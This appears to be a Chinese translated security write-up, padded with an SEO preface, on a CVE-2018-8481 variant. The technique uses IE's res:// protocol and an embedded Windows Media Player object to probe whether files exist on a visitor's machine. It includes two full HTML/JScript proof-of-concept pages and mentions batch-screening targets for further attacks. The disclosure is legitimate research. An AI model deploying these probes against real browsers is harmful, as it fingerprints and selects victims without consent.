前言:
而今朋友们对“网页如何调用程序播放器”可能比较讲究,姐妹们都需要剖析一些“网页如何调用程序播放器”的相关内容。那么小编同时在网上收集了一些关于“网页如何调用程序播放器””的相关知识,希望看官们能喜欢,大家一起来学习一下吧!首先,我将要提出的这种方法,其实是CVE-2018-8481的变种:
假设攻击者想要探测目标机器的C:\windows\system32文件夹中是否存在的cmd.exe文件。 那么,我们就可以利用javascript调用Windows Media Player(wmplayer.exe)来加载这个文件,文件存在与否会影响播放器的行为模式。其中利用代码中的"res:"代表资源,表示Internet Explorer从二进制文件加载内部资源。具体格式为:
res://resourcefile.ext/resourceitem
所有二进制文件的文件信息都可以在resource/16/1中找到。
res://filename/16/1
其中16=RT_VERSION,具体说明可在微软的网址)中找到。这个16可以视为一个常量值,不用经常更改,代表所有二进制文件中的资源。
默认情况下,浏览器会假定所需资源文件位于C:\windows\system32中,但我们可以请求系任何路径上的文件。
如果要检测Windows Media Player本身是否存在,我们可以利用:
res://C%3a%5cProgram Files%5cWindows Media Player%5cwmplayer.exe/16/1
为了更加进行比对,我们可以特意请求一个不存在的exe文件,看两者的请求结果。
res://C%3a%5cProgram Files%5cWindows Media Player%5cwmplayer.ex/16/1
以上两个资源请求对应以下两个PoC:
<b> res://C:\Program Files\Windows Media Player\wmplayer.exe/16/1 </b><br><br><object id="Player" classid="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6"><PARAM NAME="URL" VALUE="res://C%3a%5cProgram Files%5cWindows Media Player%5cwmplayer.exe/16/1"><param name="captioningID" value="displaylyric" /><PARAM NAME="autoStart" VALUE="True"></object><script LANGUAGE = "Jscript" FOR = Player EVENT = error()>if(Player.error.item(0).errorDescription.length==189){alert("Click the play button");}else{alert("Click the play button");}</script>
以下时请求不存在的文件的PoC,注意文件的后缀是不存在的ex:
<b> res://C:\Program Files\Windows Media Player\wmplayer.ex/16/1 </b><br><br><object id="Player" classid="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6"><PARAM NAME="URL" VALUE="res://C%3a%5cProgram Files%5cWindows Media Player%5cwmplayer.ex/16/1"><param name="captioningID" value="displaylyric" /><PARAM NAME="autoStart" VALUE="True"></object><script LANGUAGE = "Jscript" FOR = Player EVENT = error()>if(Player.error.item(0).errorDesc ription.length==189){alert("Click the play button");}else{alert("Click the play button");}</script>
而这两个页面在实际操作中最明显的区别就是:当请求不存在的文件时,Windows Media Player会展示“正在打开媒体”;而请求存在的文件时,则不存在这种现象。这也导致这两种情况有一定的时间差。
现在,让我们实际操作一下。我已经做出两个页面来展示我们如何探测特定文件的存在与否,我们以cmd.exe作为目标。
当探测的文件存在时:
当探测的文件不存在时:
当访问第一个网址时,我们可以看到Windows Media Player播放器。
此时点击播放按钮,我们可以看到播放器上什么字符都没有。
当访问第二个网址时,我们也同样可以看到Windows Media Player播放器,而此时点击播放按钮时,我们可以看到“正在打开媒体”。
把这种方法加以改进,我们可以批量筛选存在特定文件的目标,方便我们进行下一步攻击。
以上就是这个方法的简单介绍,更为详细的说明我将在漏洞修复后放出。
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:
原文:
白帽汇从事信息安全,专注于安全大数据、企业威胁情报。
公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。
为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。
标签: #网页如何调用程序播放器 #网页如何调用程序播放文件